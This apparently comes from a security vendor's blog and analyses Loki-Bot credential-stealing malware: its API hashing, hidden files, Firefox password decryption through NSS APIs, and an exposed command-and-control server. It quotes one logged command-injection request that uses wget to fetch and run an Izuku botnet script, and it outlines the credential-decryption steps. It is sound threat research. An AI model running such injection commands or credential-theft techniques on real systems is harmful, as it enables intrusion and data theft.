Loki Number Seven – Loki Malware Keeps Stealing Your Credentials

Loki has been active for a few years now, and was recently seen by Kaspersky in a new spam campaign targeting corporate mailboxes. We found this interesting since it illustrates that attackers are always interested in your personal data, and especially in your credentials and passwords. Loki is still alive and kicking years after its initial outbreak, and that teaches us that attackers still get benefit from it, even though it’s well known to the security community and it’s not an advanced or highly sophisticated threat per se.

Background

Loki-Bot is a password stealer malware, which was seen in the wild most often lately. Loki has the capabilities of stealing many different types of credentials. In addition, to see the whole picture, Loki also implements a key-logger component that enhances its abilities to steal passwords. For the last two years hackers have been selling the malware including the C&C (command and control) for a low price of around $70, which is considered cheap.

Loki’s version-1 source code was leaked around 2015, which made malware author’s lives very easy. They could just change the source code to their flavor and adapt it according to the circumstances. We have seen multiple variants of the malware, including a total re-write of the source code to the .Net Framework. Most AVs (anti-virus software) identify the malware fairly well, so some authors just add a layer of packing and obfuscation to it. Doing that, they are able to bypass most AVs and harden the job of the malware analyst.

During our research, we stumbled upon the well detailed investigation of Rob Pantazopoulos, who wrote a great paper on Loki. Our sample was quite different from the one he investigated, nevertheless if you want to deepen your understanding, please take a look at https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850.

Technical Analysis

In the first part of this article we’ll focus on this sample: 41962130dd73c45846c40bb7ab5dadb44b674c9c8eb11e49dcb5a8cafaa37b15.

Initialization

There are several core mechanisms that are consistent among the multiple samples we have analyzed. As stated above, Loki steals and mines passwords; in order to do so, it needs to use several file manipulation APIs alongside registry manipulation ones. In addition, it compresses the gathered information later on, before sending it to the C&C server. Many AV vendors make use of static analysis of the PE (portable executable) import table to determine if the program would use suspicious APIs such as CreateRemoteThread, AdjustTokenPrivilege, Crypt Decrypt, CreateNamedMutex, etc. Loki disguises the usage of the APIs and the modules (DLL) by creating its own custom import table in runtime.

When the malware wants to perform an API call, it calls a function, which we named GetFuncAddressFromHash, passing it two arguments:

1. Index (integer) that specifies the modul e that will be used later on to preform LoadLibrary. This index will be “decoded” to a module name.
2. Hash value (integer), which will be decoded too, that specifies the function to call in the module.

Inside the GetFuncAddressFromHash function, the translation accrues by matching the index (first argument) to the module name and then loading it to memory. After that, it scans the committed memory of the newly create module. The malware iterates through all known functions in the module, then it will hash the function name and compare it to the hash that the function was called with (second argument). Having a successful match allows the malware to call the API.

Before the mining process, the malware creates a named mutex, used by many malware to not run the same malware twice, which is based on preforming an md5 hash on the MachineGuid registry key. That specifies a unique mutex name for each infected machine. This mutex name (some of it) will be later used to create the path in which the malware stores the gathered data.

The malware keeps all saved data in a directory in %appdata% followed by a directory name made of the characters 8-13 in the mutex we have created. Inside this directory, there is a file named after that 14-18 characters in the mutex with the extension .hdb.

One thing this sample of Loki lacks is a persistence mechanism – the malware copies itself (the PE file) into “its” directory under %appdata% alongside the .hdb file. This specific sample has no persistence mechanism because it’s a “hijacked” version of Loki. The original binary was patched in order to be distributed with various C&C domains and in the process of patching it, the persistency mechanism was damaged. We won’t elaborate more on that, but you can find all the details here: https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf.

Our sample tries to avoid detection by applying a change to its directory under %appdata% – it changes the attributes of the folder and the files (“.hdb” and the executable) inside to be hidden. It does that by using the API SetFileAttributesA with the second argument being 0x2, which specifies the file to be hidden. In addition, it calls the function again with the value of 0x4 for the second argument, which specifies the file as “system file.” This prevents a naïve user from detecting those files, but just by enabling the “show hidden files, folders,” and disabling “Hide protected operating system files” on the File Explorer Options tab, the files could be revealed.

Loki also has the ability to escalate its privileges. There is a function that adds SeDebugPrivilege to the token of Loki’s process. In this sample, there isn’t any use of it, but on other variants Loki tries to harvest Windows credentials. In order to that, it must inject a code into lsass.exe process, which requires the privilege stated above.

Loki also calls several APIs to get information about the current user, such as: GetUserName, GetDesktopWindow, GetVersion, IsAdmin, etc. Moreover, it checks if the current user is a part of a domain, which could be useful combined with the IsAdmin API call. Many sysadmins use the same password, or a variant for multiple places so attackers can take advantage of that for lateral movement.

Credential Stealing

Now let’s look at the core of the malware – password stealing. Loki tries to steal passwords from about 80 programs, including all known browsers, mail clients, remote control programs and file sharing programs. So, for the sake of this paper we will just present a list of them alongside a description of how the malware steals and decrypts one type of them – Mozilla’s passwords database. Take a look at Appendix A to view the full list.

Stealing from the Fox

Loki identifies whether Mozilla Firefox is installed by trying to query its registry key.

After that, it determines the version of the browser. This is being checked because the decrypting algorithm is different between versions of the browser. Before decrypting the credentials, the malware must have the path where Firefox profiles are stored. Under the profile directory, there are two files that are used when the browser decrypts password – login.json and key3.db (key4.db since version 58 of Firefox). The login.json file holds encrypted usernames and passwords and the key3.db holds the encryption key.

Now, after the malware locates the Firefox profiles folders, it begins decrypting them. First it loads the nss3.dll (which is supplied with any installation of Mozilla). This DLL exports many APIs for developers, including NSS_Init, PK11_GetInternalKeySlot, PK11SDR_Decrypt, etc. Those APIs allow anyone who has read permission to Firefox profiles directory, to retrieve the usernames alongside their passwords. It is important to note that if the user used the option of encrypting this database using a user-defined master key, Loki won’t be able to decrypt the passwords.

The master key encrypts all stored credentials. So, whenever you try to use saved credentials, you will be asked to enter the master key. It is most often used when you share a computer with several people.  In order to enhance the security of the master key, Mozilla does not save it on disk. Therefore, the only way to decrypt the passwords without knowing the key, is through doing a brute force attack, guessing the key code. Loki does not try to guess the master key code. For more reference, you are welcome to read: https://www.codeproject.com/Articles/1167954/The-Secrets-of-Firefox-Credentials.

In the same way, Loki can decrypt many passwords from browsers based on Mozilla Firefox because they store their passwords in the same way – Comodo IceDragon, Pale Moon, SeaMonkey and Cyberfox, etc.

Communication with the server

Loki tries to initiate a connection with the C&C. In one of the samples, we have analyzed the server DNS  www.stanhost.top. If the connection is established, it gets a command to activate a key logger component that runs in a different thread.

Before sending the data, the malware compresses it using Aplib compression algorithm, then it proceeds to the assembling process of all gathered data. Loki sends the gathered information every seven seconds.  In the packet supplied to the server, there are some other fields besides the compressed data, such as:

• Local credentials and information stated above
• Malware vVersion
• GUID of the machine
• Username and computer name

Our sample sends the data to http://www.stanhost[.]top/panel/fre[.]php. This domain was not available at the time of writing this, but is just one of many domains associated with this bot (more of them in the Indicator of Compromise section below).

Snooping around the C&C

Wanting to go a little further, we started hunting for a recent Loki sample that still had an active C&C and indeed we found one – 4f44cc16a1854f91e48261ccfebc5bbe8997215e50513bc3080c6127031774c2 -with a C&C server that is still alive. This sample was downloaded from 103.200.6.3. This server hosts a campaign of Loki bots with nine total variants of the malware.

This Loki operator didn’t practice security appropriately when it comes to the control server.

The malware originally accessed http://ewued[.]tk/nutmeg/fre[.]php in order to get commands or send stolen data. Accessing the directory containing this file, we can see all of the campaign’s files.

We can identify the directory structure here as the one that was leaked last year and can be found on GitHub https://github.com/runvirus/LokiPWS.

In the /nutmeg/IKhvvSO/class/pass_module/ directory you can find all of the modules that are responsible for processing 80 different types of stolen credentials.

Under /nutmeg/rZBhYOP/, there are some files with random names and .snt / .kdbx extensions. These files are databases of Windows StickyNotes and KeePass accordingly. They were stolen from the malware victims, encrypted by the server and now publicly accessible.

Like the /nutmeg/ directory that contains the admin panel and all of the data related to a specific

campaign, we were able to enumerate a lot more directories that contain similar data, including a lot more victim files stolen by Loki, all accessible to everyone.

Server Status

Another interesting thing regarding this server is that the attacker left the Apache status page accessible as well. By accessing /server-status, we can learn a lot more about the server.

A lot of information is exposed here, like the server version, uptime, traffic volume and even the PIDs on the server. In addition to that, we can also see a log of recent requests, showing us the client, the VHost that was accessed as well as the accessed web page.

The majority of the clients specified in this log are accessing the /fre.php page and they are probably Loki’s victims. We found this server highly active, with more than 850 IPs which accessed this single page in just a few days.

Other than that, we also see a few addresses access the admin panel of every folder/campaign in /PvqDq929BSx_A_D_M1n_a.php.

The attacker also exposed a zip file containing the server’s code in /hcode/aadmi.zip. The code we found there was almost identical to the one that was published last year.

Enter Izuku

Monitoring the server’s access logs, we encountered a unique request to login.cgi?cli=aa aa’;wget http://77.87.77.250/izuku.sh -O -> /tmp/hk;sh /tmp/hk’. After analyzing this shell script, we understood that it’s a downloader for Izuku IoT botnet, a variant of Hakai botnet that was discovered not too long ago. Izuku is a botnet that spreads using a few exploits for D-Link, Huawei and Realtek routers, as well as connecting to machines with weak or default credentials. You can find more information about the exploits being used here https://www.intezer.com/elf-support-released-hakai-malware/. The router that tried to infect Loki’s C&C was a Huawei router with a default password.

Summary

As stated in the beginning, in the past few years it became fairly easy for malicious attacker to get a hold of malware code. Loki is another credential and data stealer that attackers can customize easily for their liking to steal from a huge array of data sets. In addition to using the already written Loki code, attackers can also obfuscate/pack/encrypt the final binary, making it undetectable by most AV solutions (even if only for a little while). As a result, they can succeed at stealing data from their victims, even if they are protected by an AV tool.

We understand the dynamic and rapid evolving world of malware and fact of the matter is that it’s very hard to keep up against these threats. Therefore, it is very easy to understand the importance of protecting credentials on the endpoints that malicious software is trying to steal from. Solutions like CyberArk’s Endpoint Privilege Manager (EPM) can protect endpoint credential stores that reside in Memory, registry or files. EPM also has the ability to block lateral movement like Pass-the-hash, Pass-the-ticket etc.

Indicator of Compromise (IOCs)

Loki

samples

IPs

domains

Useragent

Izuku

Samples

IPs

Appendix A